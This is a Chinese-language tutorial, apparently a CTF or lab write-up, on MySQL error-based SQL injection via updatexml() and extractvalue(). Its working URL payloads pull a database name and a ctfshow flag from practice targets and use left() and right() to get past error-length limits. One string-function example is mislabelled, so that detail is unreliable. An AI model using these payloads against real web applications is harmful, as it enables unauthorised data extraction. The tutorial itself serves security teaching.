什么是报错注入?
正常用户向数据库查询数据,查询语句出现错误时会返回报错信息。
如果数据库对查询语句的输入和数据的输出没有进行合理检测,攻击者就可以通过构造语句让报错信息中包含数据库的内容。
基本利用形式
updatexml注入
函数形式如下:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string ,是Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
常用的注入语句如下:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1);
原理:由于updatexml的第二个参数需要 Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
以sqli-labs第五关为例:
0x7e的作用就是在字符串的前后增加~号。
?id=1' and updatexml(1,concat(0x7e,
(select database()) //替换这部分的命令,进行查询
,0x7e),1);
?id=1' and updatexml(1,concat(0x7e,(select group_concat(flag33) from ctfshow.flagpuck),0x7e),1)--+
我们查到了flag数据,但是发现界面回显的flag并不完整。
这是因为报错注入的输出是有长度限制的。返回的字符长度差不多是三十五个。
怎么绕过字符串返回长度限制?
--left()
left(<字符串>,<从最左边开始截取的字符串长度>)
如 left('name',2) //返回结果为na
--right()
right(<字符串>,<从最右边开始截取的字符串长度>)
如 left('name',2) //返回结果为ma
--substring()
substring('firstname',5,3) 截取 firstname 这个字段 从第五个字符开始 只截取之后的3个字符
返回值为:tna
?id=1' and updatexml(1,concat(0x7e,left((select group_concat(flag33) from ctfshow.flagpuck),25),0x7e),1)--+
// XPATH syntax error: '~ctfshow{b4ee4409-1ca2-46'
?id=1' and updatexml(1,concat(0x7e, right((select(group_concat(flag33)) from ctfshow.flagpuck),25),0x7e),3)--+
// XPATH syntax error: '~2-465c-bfa5-ab69c5b15e37}~'
得到flag:ctfshow{b4ee4409-1ca2-465c-bfa5-ab69c5b15e37}
extractvalue注入
函数形式如下:
extractvalue(XML_document, XPath_string);
和updatexml很像。updatexml是修改,而extractvalue是查询。
用法是一样的:
extractvalue(1,concat(0x7e,(select group_concat(flag33) from ctfshow.flagpuck),0x7e))